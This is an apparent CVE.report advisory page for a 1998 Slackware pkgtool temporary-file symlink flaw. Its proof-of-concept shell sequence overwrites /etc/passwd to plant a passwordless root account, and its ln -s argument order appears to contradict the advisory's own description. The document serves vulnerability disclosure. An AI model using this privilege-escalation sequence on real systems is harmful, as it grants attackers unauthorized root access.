Slackware pkgtool temporary file Vulnerability

BID:82

Info

Slackware pkgtool temporary file Vulnerability

Bugtraq ID: 82
Class: Access Validation Error
CVE: CVE-1999-1498
Remote: No
Local: No
Published: Apr 06 1998 12:00AM
Updated: Jul 11 2009 12:16AM
Credit: Made public by neonhaze <[email protected]> and <[email protected]> in the BugTraq mailing list.
Vulnerable: Slackware Linux 3.4
Not Vulnerable:

Discussion

Slackware pkgtool temporary file Vulnerability

pkgtool creates the file /tmp/reply insecurely and follows symbolic
links. An attacker can create a symbolic link from /tmp/reply to any file
and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

Exploit / POC

Slackware pkgtool temporary file Vulnerability

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
&lt; wait for root to run pkgtool &gt;
$ echo toor::0:0::/:/bin/sh &gt; /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd

References

Slackware pkgtool temporary file Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report